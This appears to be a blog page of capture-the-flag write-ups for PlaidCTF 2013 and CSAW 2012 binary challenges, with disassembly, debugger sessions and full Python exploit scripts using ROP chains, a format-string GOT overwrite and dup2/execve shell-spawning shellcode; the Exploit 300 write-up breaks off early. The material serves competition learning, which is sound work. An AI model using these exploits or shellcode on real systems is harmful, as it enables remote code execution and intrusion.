codezen.fr code hacking, zen coding

22Apr/13Off

PlaidCTF 2013 – Pwnable 200 – ropasaurusrex Write-up

Posted by aXs

$ file ropasaurusrex
ropasaurusrex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped

$ eu-readelf -l ropasaurusrex
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x0000e0 0x0000e0 R E 0x4
INTERP 0x000114 0x08048114 0x08048114 0x000013 0x000013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00051c 0x00051c R E 0x1000
LOAD 0x00051c 0x0804951c 0x0804951c 0x00010c 0x000114 RW 0x1000
DYNAMIC 0x000530 0x08049530 0x08049530 0x0000d0 0x0000d0 RW 0x4
NOTE 0x000128 0x08048128 0x08048128 0x000044 0x000044 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x000000 0x000000 RW 0x4

Section to Segment mapping:
Segment Sections...
00
01 [RO: .interp]
02 [RO: .interp .note.ABI-tag .note.gnu.build-id .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame]
03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 [RO: .note.ABI-tag .note.gnu.build-id]
06

$ nc localhost 1025
hello!
WIN

This binary has a non-executable stack (NX-enabled) but has not been compiled with RELRO (read-only GOT)

Crashing it is fairly easy:

$ nc localhost 1025
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000100 EBX: 0xB77B0FF4 ECX: 0xBFF063D0 EDX: 0x00000100 o d I t s z A P C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x65413565 ESP: 0xBFF06460 EIP: 0x37654136
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
Cannot access memory at address 0x37654136
0x37654136 in ?? ()

$ /opt/metasploit-4.4.0/msf3/tools/pattern_offset.rb 0x37654136
140

It's crashing because of a stack overflow, buf is not big enough for the amount of data permitted to be read:

.text:080483F4 read_buffer     proc near               ; CODE XREF: handler+9p
.text:080483F4
.text:080483F4 buf             = byte ptr -88h
.text:080483F4
.text:080483F4                 push    ebp
.text:080483F5                 mov     ebp, esp
.text:080483F7                 sub     esp, 98h
.text:080483FD                 mov     dword ptr [esp+8], 100h ; nbytes
.text:08048405                 lea     eax, [ebp+buf]
.text:0804840B                 mov     [esp+4], eax    ; buf
.text:0804840F                 mov     dword ptr [esp], 0 ; fd
.text:08048416                 call    _read
.text:0804841B                 leave
.text:0804841C                 retn
.text:0804841C read_buffer     endp

The libc binary was given away by the ctf organizers and the GOT is writable (no RELRO) so we will go for a GOT overwrite and spawn a shell with system(). We will overwrite the GOT entry for write().

As the stack is non-executable (NX) we need to ROP our way to system()

What we need to do in our ROP chain:
- Leak the current GOT entry for write()
- Receive computed offset for system() using read()
- Receive command-line for system()
- Trigger write() (now system) with our command-line

We will use this gadget to clean up the stack between ROP step:

.text:080484B5                 pop     ebx
.text:080484B6                 pop     esi
.text:080484B7                 pop     edi
.text:080484B8                 pop     ebp
.text:080484B9                 retn

The exploit:

import telnetlib
import time
import sys
from struct import pack, unpack

ip = '54.234.151.114'
port = 1025

COMMANDLINE = "cat /home/ropasaurusrex/key\n"

tn = telnetlib.Telnet(ip, port)

buffer  = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4A'
buffer += pack('<I', 0x08049620) # leave will use this value for ebp

# write write.plt
buffer += pack('<I', 0x0804830C) # _write
buffer += pack('<I', 0x80484B6)  # ret: clean stack

# write params
buffer += pack('<I', 1)          # fd
buffer += pack('<I', 0x08049614) # write.plt got
buffer += pack('<I', 4)          # size

# send system.plt
buffer += pack('<I', 0x804832C)  # _read
buffer += pack('<I', 0x80484B6)  # ret: clean stack

# read params
buffer += pack('<I', 0)          # fd
buffer += pack('<I', 0x08049614) # write.plt got
buffer += pack('<I', 4)          # size

# read command-line
buffer += pack('<I', 0x804832C)  # _read
buffer += pack('<I', 0x80484B6)  # clean stack

# read params
buffer += pack('<I', 0)          # fd
buffer += pack('<I', 0x8049620)  # data go in bss
buffer += pack('<I', len(COMMANDLINE))

# trigger system()
buffer += pack('<I', 0x0804830C) # write.plt
buffer += 'ABCD'                 # ret: crash, we are done

# address of command-line in bss
buffer += pack('<I', 0x8049620)  # data

s = tn.get_socket()
s.send(buffer)

# receive write.plt address
got = s.recv(4)
write_plt = unpack('<I',got[0:4])[0]
print "write plt=", hex(write_plt)
write_libc = 0xbf190
libc_base = write_plt - write_libc
print "libc base=", hex(libc_base)
system_plt = write_plt - (0xbf190 - 0x39450)
print "system plt=", hex(system_plt)

time.sleep(0.1)

# send system address
s.send(pack('<I', system_plt))

time.sleep(0.1)

# send our command-line
s.send(COMMANDLINE)

# get the key
print s.recv(65535)

Result:

write plt= 0xb77990d0L
libc base= 0xb76d9f40L
system plt= 0xb77151b0L
you_cant_stop_the_ropasaurusrex

For those not familiar lets detail a bit how this works. We put a breakpoint on the ret of the vulnerable function:

--------------------------------------------------------------------------[regs]
EAX: 0x000000E0 EBX: 0xB7735FF4 ECX: 0xBFFAACB0 EDX: 0x00000100 o d I t s z A p C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x08049620 ESP: 0xBFFAAD3C EIP: 0x0804841C
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0x804841c: ret
0x804841d: push ebp
0x804841e: mov ebp,esp
0x8048420: and esp,0xfffffff0
0x8048423: sub esp,0x10
0x8048426: call 0x80483f4
0x804842b: mov DWORD PTR [esp+0x8],0x4
0x8048433: mov DWORD PTR [esp+0x4],0x8048510
--------------------------------------------------------------------------------

Breakpoint 1, 0x0804841c in ?? ()

At this point, the stack is filled with our values (the ROP chain) because of the overflow:

gdb$ x/4x $esp
0xbffaad3c: 0x0804830c 0x080484b6 0x00000001 0x08049614

We advance one step:

gdb$ stepi
--------------------------------------------------------------------------[regs]
EAX: 0x000000E0 EBX: 0xB7735FF4 ECX: 0xBFFAACB0 EDX: 0x00000100 o d I t s z A p C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x08049620 ESP: 0xBFFAAD40 EIP: 0x0804830C
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0x804830c : jmp DWORD PTR ds:0x8049614
0x8048312 : push 0x8
0x8048317 : jmp 0x80482ec
0x804831c <__libc_start_main@plt>: jmp DWORD PTR ds:0x8049618
0x8048322 <__libc_start_main@plt+6>: push 0x10
0x8048327 <__libc_start_main@plt+11>: jmp 0x80482ec
0x804832c : jmp DWORD PTR ds:0x804961c
0x8048332 : push 0x18
--------------------------------------------------------------------------------
0x0804830c in write@plt ()

First value on the stack was used as the EIP value for ret (0x804830c), please notice we use directly write@plt so we can stack several calls, using the address of "call write" would mess up our crafted stack.

On the stack we have [RET][FD][BUFFER][SIZE]

gdb$ x/4x $esp
0xbffaad40: 0x080484b6 0x00000001 0x08049614 0x00000004

so this would do:

write(1, 0x08049614, 4);

and then jump to 0x080484b6, our gadget for cleaning the stack:

--------------------------------------------------------------------------[regs]
EAX: 0x00000004 EBX: 0xB7735FF4 ECX: 0x08049614 EDX: 0x00000004 o d I t s z a P C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x08049620 ESP: 0xBFFAAD44 EIP: 0x080484B5
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0x80484b6: pop esi
0x80484b7: pop edi
0x80484b8: pop ebp
0x80484b9: ret
0x80484ba: mov ebx,DWORD PTR [esp]
0x80484bd: ret
0x80484be: nop
--------------------------------------------------------------------------------

Breakpoint 2, 0x080484b6 in ?? ()

This will remove 3 values from the stack (the values used for our write() call) and then jump to an address we control. This way we have emptied the stack and we are ready for the next call.

And so on for all the steps in the ROP chain.

Share
Tagged as: , Comments Off
5Oct/12Off

CSAW 2012 CTF – Exploit 500 Writeup

Posted by aXs

Exploit 500 is the final exploitation challenge for CSAW CTF.

It looks like a game asking questions. You get 2 tries per question.

.text:08048CF7 buffer1         = byte ptr -4B4h
.text:08048CF7 buffer2         = byte ptr -438h
.text:08048CF7 answer          = byte ptr -38h
.text:08048CF7 buffer_length   = dword ptr -10h

Buffer1 size is 124 bytes and Buffer2 size is 1024 butes.

.text:08048D21                 mov     eax, [ebp+fd]
.text:08048D24                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048D2C                 mov     dword ptr [esp+8], 7Ch ; n
.text:08048D34                 lea     edx, [ebp+buffer1]
.text:08048D3A                 mov     [esp+4], edx    ; buf
.text:08048D3E                 mov     [esp], eax      ; fd
.text:08048D41                 call    _recv

First read in Buffer1 is 124 bytes, cannot be overflowed

.text:08048DB5                 mov     eax, [ebp+fd]
.text:08048DB8                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048DC0                 mov     dword ptr [esp+8], 400h ; n
.text:08048DC8                 lea     edx, [ebp+buffer2]
.text:08048DCE                 mov     [esp+4], edx    ; buf
.text:08048DD2                 mov     [esp], eax      ; fd
.text:08048DD5                 call    _recv

Second read in Buffer2 is 1024 bytes, cannot be overflowed. No luck so far.

.text:08048DF2                 mov     eax, [ebp+buffer_length]
.text:08048DF5                 shr     eax, 2
.text:08048DF8                 mov     ecx, eax
.text:08048DFA                 lea     eax, [ebp+buffer2]
.text:08048E00                 mov     esi, eax
.text:08048E02                 lea     eax, [ebp+answer]
.text:08048E05                 mov     edi, eax
.text:08048E07                 rep movsd

Interesting, copy buffer2 (1024 bytes maximum) into the answer buffer (40 bytes maximum), this will smack the stack.

Let's try with a buffer dipper:

$ nc localhost 12345
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

Category: Movies   **Answers can have spaces & case insensitive**

WarGames: David was playing ______ at the arcade
Answer: TOTO
WRONG. Try again. Bye.

That's too bad. Try one more time!

Answer: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

We get a crash in gdb:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 30662]
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0xB7FC3FF4  ECX: 0xFFFFFFC8  EDX: 0x00000009  o d I t S z a P c
  ESI: 0xBFFFF2E0  EDI: 0xBFFFF6E0  EBP: 0x39624138  ESP: 0xBFFFF620  EIP: 0x41306341
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0x41306341
0x41306341 in ?? ()

Calculate buffer length using the crash EIP:

$ /opt/framework-4.0.0/msf3/tools/pattern_offset.rb 0x41306341                                          
60

Perfect! We can control EIP. Where can we jump now ?

$ eu-readelf -l challenge1b
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x000013 0x000013 R   0x1
  [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00154c 0x00154c R E 0x1000
  LOAD           0x001f14 0x0804af14 0x0804af14 0x00018c 0x000194 RW  0x1000
  DYNAMIC        0x001f28 0x0804af28 0x0804af28 0x0000c8 0x0000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x0012c4 0x080492c4 0x080492c4 0x000084 0x000084 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x000000 0x000000 RWE 0x4
  GNU_RELRO      0x001f14 0x0804af14 0x0804af14 0x0000ec 0x0000ec R   0x1

Stack is again RWE like in Exploit 300 and 400!

Our problem is that the answer buffer is quite small, 40 bytes. But buffer2 is gigantic with 1024 bytes. So our strategy will be to do an infoleak to get the offset of our shellcode stored in buffer2.

We will fake parameters pushed on the stack and then call send() to get a dump of the stack layout and locate our shellcode.

Our payload will be as follow:

[TOTO\N]['A' * 60][EIP send()][FD][OFFSET][LENGTH][FLAGS][NOP][SHELLCODE]

We will get a stack dump and then we can look for the nopsled into it to locate the start of our shellcode:

WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: ______ was the game Joshua needed to play to learn\n"not to play is the best option".\nAnswer: '
INFOLEAK
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'H\xcb\xfd\xb7\xf4\xef\xff\xb7\xd0\xfa\xff\xb7$\xf1\xff\xbf\xe0\xf0\xff\xbf\xc9~\xfe\xb7\xc0\xf0\xff\xbfl\x83\x04\x08\xa8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\xc8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xf8\x83\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xb5\x83\x04\x08\x00\x00\x00\x00\xa8\x94\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x98_\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\xf4\xef\xff\xb7\x18\xf9\xff\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7H\xcb\xfd\xb7\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7\x00\x00\x00\x00\x8c\x83\x04\x08d\xb0\x04\x08\x00\x00\x00\x00\xbf]\xee\xb7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00AAAA\xf4/\xfd\xb7d\xf1\xff\xbfq\xe5\xf1\xb7\x90\x86\x04\x08\x04\x00\x00\x00\x00\xf0\xff\xbf\xff\x0f\x00\x00@\x00\x00\x001\xc01\xdb1\xc9\xb1\x03\xfe\xc9\xb0?\xb3\x04\xcd\x80u\xf61\xc0Ph//shh/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x801\xc0@V\x88\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10|\xf2\xff\xbf\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\xdb\x9d^\x17\x8d\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x02\x0009\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00p\xd2\xfe\xb7\x00\x00\x00\x00x\xf2\xff\xbfO\x88\x04\x08\xb0\x8e\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\xd3\xb4\xe4\xb7\x01\x00\x00\x00\x14\xf3\xff\xbf\x1c\xf3\xff\xbfX\xc8\xfd\xb7\x00\x00\x00\x00\x1c\xf3\xff\xbf\x1c\xf3\xff\xbf\x00\x00\x00\x00\x8c\x83\x04\x08\xf4/\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xcc\x86\rh\xdc\xa2\x81^\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xa0&\xff\xb7\xe9\xb3\xe4\xb7\xf4\xef\xff\xb7\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xb1\x87\x04\x08D\x88\x04\x08\x01\x00\x00\x00\x14\xf3\xff\xbf\xb0\x8e\x04\x08 \x8f\x04\x08p\xd2\xfe\xb7\x0c\xf3\xff\xbf\x18\xf9\xff\xb7\x01\x00\x00\x00=\xf4\xff\xbf\x00\x00\x00\x00J\xf4\xff\xbfV\xf4\xff\xbff\xf4\xff\xbfq\xf4\xff\xbf\x92\xf9\xff\xbf\xa1\xf9\xff\xbf\xaf\xf9\xff\xbf\xa4\xfe\xff\xbf\xb2\xfe\xff\xbf\xc7\xfe\xff\xbf\x14\xff\xff\xbf*\xff\xff\xbf:\xff\xff\xbfK\xff\xff\xbfS\xff\xff\xbfh\xff\xff\xbfy\xff\xff\xbf\x87\xff\xff\xbf\x90\xff\xff\xbf\xb0\xff\xff\xbf\xbe\xff\xff\xbf\xe0\xff\xff\xbf\x00\x00\x00\x00 \x00\x00\x00\x14\xd4\xfd\xb7!\x00\x00\x00\x00\xd0\xfd\xb7\x10\x00\x00\x00\xff\xfb\xeb\x0f\x06\x00\x00\x00\x00\x10\x00\x00\x11\x00\x00\x00d\x00\x00\x00\x03\x00\x00\x004\x80\x04\x08\x04\x00\x00\x00 \x00\x00\x00\x05\x00\x00\x00\t\x00\x00\x00\x07\x00\x00\x00\x00\xe0\xfd\xb7\x08\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x90\x87\x04\x08\x0b\x00\x00\x00\xe9\x03\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\xe9\x03\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x1b\xf4\xff\xbf\x1f\x00\x00\x00\xef\xff\xff\xbf\x0f\x00\x00\x00+\xf4\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\xa9R\xd4C\xf4\xcb\xd9\x04\xdd\x8ds\xb0\xcbRfi686\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00./challenge1\x00TERM=screen\x00SHELL=/bin/bash\x00USER=csaw1\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;3'
Found shellcode at 0xbffff174L

Easy. We can now exploit this by using 0xbffff174 as the EIP in the payload:

len shellcode= 46
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game
'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: The password David used to access the school computers was _____\nAnswer: '
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'key{Something_different_from_strcpy}'

Exploit code:

import socket
import struct
from struct import pack
import time
import sys

host = sys.argv[1]
infoleak = int(sys.argv[2])

# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

print "len shellcode=", len(shellcode)

# challenge box
esp = 0xbffff174
# local gdb
#esp = 0xbffff234

if infoleak == 1:
  ret = pack("<I", 0x08048780) # _send
else:
  ret = pack("<I", esp)

size = 0xfff
offset = 0xbffff000

ebp = pack("<I", esp)

if infoleak == 0:
  payload = ebp * (60/4) + ret
else:
  payload = 'A' * 60 + ret

payload += pack('L', 0x8048690) # exit

payload += pack('L', 0x4) # fd
payload += pack('L', offset)
payload += pack('L', size) # len
payload += pack('L', 0x40) # flags

payload  += shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,12345))

data = s.recv(1024)
print data

s.send("TOTO\n")
time.sleep(1)
s.send(payload)
time.sleep(1)
s.send("\ncat key\n")

data = s.recv(256) # discard

print repr(data)

data = s.recv(len("WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "))

print repr(data)

if infoleak == 0:
  while True:
    stack = s.recv(size)
    print repr(stack)
    if not stack:
      break
  sys.exit(0)

stack = s.recv(size)

print repr(stack)

for i in xrange(0, size - 1):
  if stack[i] == '\x31' and stack[i+1] == '\xc0':
    print "Found shellcode at ", hex(offset + i)
    break

while True:
  data = s.recv(65536)
  print repr(data)
  if not data:
    break
Share
4Oct/12Off

CSAW 2012 CTF – Exploit 400 Write-up

Posted by aXs

We have a binary with a format string vulnerability:

$ nc localhost 23456
What would be the last word you want say before the Mayan Calender ends?
Saying: %p %p %p %p
Starting count down to the end of the world!
  5
  4
  3
  2
  1
  0
      ooO
          ooOOOo
        oOOOOOOoooo
     ooOOOooo
    /vvv\
         /V V V\
        /V  V  V\
       /     V   \
      /     VV    \    __________
     /        VVV  \    |    |
    /       VVVV    \   |(nil) 0xbf9bb444 0xb7787e58 0xd696910|
   /           VVVVV \    |__________|
      VVVVVVVVVVVVV       |

A format string vulnerability is fantastic tool for a GOT table overwrite. But what can we overwrite and where to jump ?

.bss:0804B100 _bss            segment para public 'BSS' use32
.bss:0804B120 ; char statement_4029[]
.bss:0804B120 statement_4029  db 200h dup(?)          ; DATA XREF: sdoomsday+27o
.bss:0804B120                                         ; sdoomsday+3Fo ...
.bss:0804B120 _bss            ends

Hmm.. Buffer in BSS, fixed offset ?

.text:08048B91                 mov     eax, [ebp+fd]
.text:08048B94                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048B9C                 mov     dword ptr [esp+8], 1FFh ; n
.text:08048BA4                 mov     dword ptr [esp+4], offset statement_4029 ; buf
.text:08048BAC                 mov     [esp], eax      ; fd
.text:08048BAF                 call    _recv

Lovely! User input is stored into the BSS section and this section is RWE !

So our format string will overwrite the GOT entry for send() and replace it with the offset of the user input buffer.

I lost a monumental amount of time with an exploit that was working perfectly on my local Debian Squeeze VM and would output nothing on the challenge box. I rewrote it several time with different strategies to no avail. One of our team member tried on his Ubuntu box and it wouldn't work either o_O .. so I fired up a CentOS VM and indeed, the format string had a off by one difference in the second argument. Making the exploit works on CentOS made it work on the Ubuntu and the challenge box. I don't really know what's up with Debian's libc.

The final layout (but probably many other layouts worked before I discovered the issue with the Debian box) :

[short relative JMP to Shellcode] [Format string] [Shellcode]

For the shellcode since there is a small filter, we will just use a XOR-encoded polymorphic shellcode.

#!/usr/bin/env python

import socket
import sys
import struct
from struct import pack
import time

shellcode = ''

# dup2(4) as our socket is fd 4
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"

# /bin/sh polymorphic
shellcode += "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"

host = sys.argv[1]
port = 23456

guess_mode = int(sys.argv[2])

def connect_to_host():
 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))

  print repr(s.recv(1024)) # banner
  print repr(s.recv(1024)) # banner

  return s

def exploit(payload):

  s = connect_to_host()

  s.send(payload + "\n")

  time.sleep(3)

  s.send("\nls -la\n")
  s.send("cat key\n")

  while True:
    data = s.recv(1024)
    if data:
      print repr(data)
    else:
      break

def do_fmt(payload):

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))

  print repr(s.recv(1024))
  print repr(s.recv(1024))

  s.send(payload + "\n")

  print "len payload=", len(payload)

  data = s.recv(len("Starting count down to the end of the world!\n"))

  for i in xrange(0,6):
    print repr(s.recv(32))
    time.sleep(1)
     
  data = s.recv(194)

  data = s.recv(4096)

  data = data[:-63]

  print repr(data)

  return data

format_string = "%.12d%6$n%.145d%7$n%.82d%8$nAAAA%9$n"

jump_distance = 4*4 + len(format_string) + 2 # jump over format string to shellcode

print "jump distance=", jump_distance

payload = '\xeb' + chr(jump_distance) + '\x90' * 2

payload += pack("<I", 0x804B068) # GOT table send()
payload += pack("<I", 0x804B069)
payload += pack("<I", 0x804B06A)
payload += pack("<I", 0x804B06B)

payload += format_string

payload += shellcode

exploit(payload)

time.sleep(5)
Share
3Oct/12Off

CSAW 2012 CTF – Exploit 300 Writeup

Posted by aXs

We have an interesting binary that uses signals to call functions. The most interesting handler is the user input handler:

(function names are my own, binary was stripped)

.text:080488C8 inputHandler    proc near               ; DATA XREF: sub_8048A3D+2Bo
.text:080488C8
.text:080488C8 s               = dword ptr -1Ch
.text:080488C8
.text:080488C8                 sub     esp, 1Ch
.text:080488CB                 mov     [esp+1Ch+s], offset aFBxpSpXpcuav ; "õ+íÕÅÀÞ»+ÕÅûÒÇé"
.text:080488D2                 call    _puts
.text:080488D7                 call    readUserInput
.text:080488DC                 add     esp, 1Ch
.text:080488DF                 retn
.text:080488DF inputHandler    endp

which call a function to read user input:

.text:0804889E readUserInput   proc near               ; CODE XREF: inputHandler+Fp
.text:0804889E
.text:0804889E fd              = dword ptr -15Ch
.text:0804889E buf             = dword ptr -158h
.text:0804889E nbytes          = dword ptr -154h
.text:0804889E var_146         = byte ptr -146h
.text:0804889E
.text:0804889E                 sub     esp, 15Ch
.text:080488A4                 mov     eax, ds:fd
.text:080488A9                 mov     [esp+15Ch+nbytes], 800h ; nbytes
.text:080488B1                 lea     edx, [esp+15Ch+var_146]
.text:080488B5                 mov     [esp+15Ch+buf], edx ; buf
.text:080488B9                 mov     [esp+15Ch+fd], eax ; fd
.text:080488BC                 call    _read
.text:080488C1                 add     esp, 15Ch
.text:080488C7                 retn
.text:080488C7 readUserInput   endp

Looks like we have a buffer overflow there Lets check it.

$ nc localhost 4842
这部分并不难,但我希望你有乐趣。如果你给我大量的数据,它可能是一件坏事会发生.
